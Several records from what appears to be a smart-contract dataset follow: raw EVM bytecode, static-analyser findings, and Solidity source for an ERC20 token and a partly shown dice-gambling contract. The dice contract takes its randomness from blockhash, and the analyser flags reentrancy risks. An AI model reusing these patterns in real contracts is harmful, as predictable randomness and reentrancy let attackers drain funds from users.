fffffffffffffffffffffffffffffffffffffff16636a20de9260048381548110610d9e57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610df760048581548110610de057fe5b906000526020600020906002020160000154610c07565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b50505050610e6b81611348565b5b8080600101915050610d21565b5060019050610e88565b600090505b90565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f8657600080fd5b600460405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6004828154811061110157fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461116a57600080fd5b60006004838154811061117957fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600483815481106111d757fe5b9060005260206000209060020201600001819055505050565b6000808314156112035760009050611270565b600082840290508284828161121457fe5b041461126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117146021913960400191505060405180910390fd5b809150505b92915050565b60006112b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114fa565b905092915050565b60008082840190508381101561133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6113506116ca565b600360008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114f657806000015115611457576113ea8160200151600484815481106113ca57fe5b9060005260206000209060020201600001546112c090919063ffffffff16565b600483815481106113f757fe5b90600052602060002090600202016000018190555080604001516004838154811061141e57fe5b9060005260206000209060020201600001541061145257600060036000848152602001908152602001600020600101819055505b6114f5565b61148c81602001516004848154811061146c57fe5b9060005260206000209060020201600001546115c090919063ffffffff16565b6004838154811061149957fe5b9060005260206000209060020201600001819055508060400151600483815481106114c057fe5b906000526020600020906002020160000154116114f457600060036000848152602001908152602001600020600101819055505b5b5b5050565b600080831182906115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561156b578082015181840152602081019050611550565b50505050905090810190601f1680156115985780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816115b257fe5b049050809150509392505050565b600061160283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b60008383111582906116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167c578082015181840152602081019050611661565b50505050905090810190601f1680156116a95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220ac378abe26fcacd9ef157807e3a9547bd236bec7d0700c5ec4d358e2b9a3f14f64736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,248 |
0x32ff10bf603558873dea928859fc527113a33f46
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BlockspacesToken is MintableToken {
string public name;
string public symbol;
uint8 public decimals;
string public version;
function BlockspacesToken() {
// constructor
name = "Blockspaces Token";
symbol = "BST";
decimals = 18;
version = "0.1";
totalSupply_ = 10000000000000000000000000;
balances[msg.sender] = totalSupply_;
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd14610234578063313ce567146102ad57806340c10f19146102dc57806354fd4d501461033657806366188463146103c457806370a082311461041e5780637d64bcb41461046b5780638da5cb5b1461049857806395d89b41146104ed578063a9059cbb1461057b578063d73dd623146105d5578063dd62ed3e1461062f578063f2fde38b1461069b575b600080fd5b341561010157600080fd5b6101096106d4565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b6101366106e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610785565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e610877565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610881565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102c0610c3b565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e757600080fd5b61031c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c4e565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b610349610e34565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038957808201518184015260208101905061036e565b50505050905090810190601f1680156103b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103cf57600080fd5b610404600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed2565b604051808215151515815260200191505060405180910390f35b341561042957600080fd5b610455600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611163565b6040518082815260200191505060405180910390f35b341561047657600080fd5b61047e6111ab565b604051808215151515815260200191505060405180910390f35b34156104a357600080fd5b6104ab611273565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104f857600080fd5b610500611299565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610540578082015181840152602081019050610525565b50505050905090810190601f16801561056d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561058657600080fd5b6105bb600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611337565b604051808215151515815260200191505060405180910390f35b34156105e057600080fd5b610615600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611556565b604051808215151515815260200191505060405180910390f35b341561063a57600080fd5b610685600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611752565b6040518082815260200191505060405180910390f35b34156106a657600080fd5b6106d2600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117d9565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561077d5780601f106107525761010080835404028352916020019161077d565b820191906000526020600020905b81548152906001019060200180831161076057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108be57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099657600080fd5b6109e7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cac57600080fd5b600360149054906101000a900460ff16151515610cc857600080fd5b610cdd8260015461194a90919063ffffffff16565b600181905550610d34826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eca5780601f10610e9f57610100808354040283529160200191610eca565b820191906000526020600020905b815481529060010190602001808311610ead57829003601f168201915b505050505081565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fe3576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611077565b610ff6838261193190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561120957600080fd5b600360149054906101000a900460ff1615151561122557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561132f5780601f106113045761010080835404028352916020019161132f565b820191906000526020600020905b81548152906001019060200180831161131257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561137457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113c157600080fd5b611412826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114a5826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115e782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461194a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561183557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561187157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561193f57fe5b818303905092915050565b600080828401905083811015151561195e57fe5b80915050929150505600a165627a7a72305820f275aeb8f202977b8221a80f6e621d49099c453fdd1b0a620d8fa218be3e31860029
|
{"success": true, "error": null, "results": {}}
| 3,249 |
0x287a3596cADdA829Acee72437e326b8cCc1F03De
|
pragma solidity ^0.4.24;
/*
* XYZethroll.
*
* Adapted from PHXRoll, written in March 2018 by TechnicalRise:
* https://www.reddit.com/user/TechnicalRise/
*
*/
contract ZTHReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
// Makes sure that player profit can't exceed a maximum amount,
// that the bet size is valid, and the playerNumber is in range.
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
address public owner;
address public ZethrBankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Trackers
uint public totalBets;
uint public totalZTHWagered;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
constructor (address zthtknaddr, address zthbankrolladdr) public {
// Owner is deployer
owner = msg.sender;
// Initialize the ZTH contract and bankroll interfaces
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
// Set the bankroll
ZethrBankroll = zthbankrolladdr;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 10% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(10000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
// Allow 'unlimited' token transfer by the bankroll
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
}
function() public payable {} // receive zethr dividends
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// Calculate the maximum potential profit
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
// I present a struct which takes only 20k gas
struct playerRoll{
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 rollUnder; // Roll under 8 bits
}
// Mapping because a player can do one roll at a time
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
// Check that this is a ZTH token transfer
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
// If there exists a roll, finish it
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
// Set struct block number, token value, and rollUnder values
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
// Store the roll struct - 20k gas.
playerRolls[_tkn.sender] = roll;
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
totalBets += 1;
// Total wagered
totalZTHWagered += _tkn.value;
}
// Finished the current bet of a player, if they have one
function finishBet() public
gameIsActive
returns (uint)
{
return _finishBet(true, msg.sender);
}
/*
* Pay winner, update contract balance
* to calculate new max bet, and send reward.
*/
function _finishBet(bool delete_it, address target) private returns (uint){
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // No re-entracy
require(roll.blockn != block.number);
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
result = 1000; // Cant win
} else {
// Grab the result - random based ONLY on a past block (future when submitted)
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit){
profit = maxProfit;
}
// Safely reduce contract balance by player profit
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit();
// Prevent re-entracy memes
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
// Transfer profit plus original bet
ZTHTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
/*
* Player has lost
* Update contract balance to calculate new max bet
*/
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
/*
* Safely adjust contractBalance
* SetMaxProfit
*/
contractBalance = contractBalance.add(roll.tokenValue);
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
// No need to actually delete player roll here since player ALWAYS loses
// Saves gas on next buy
// Update maximum profit
setMaxProfit();
return result;
}
}
// TKN struct
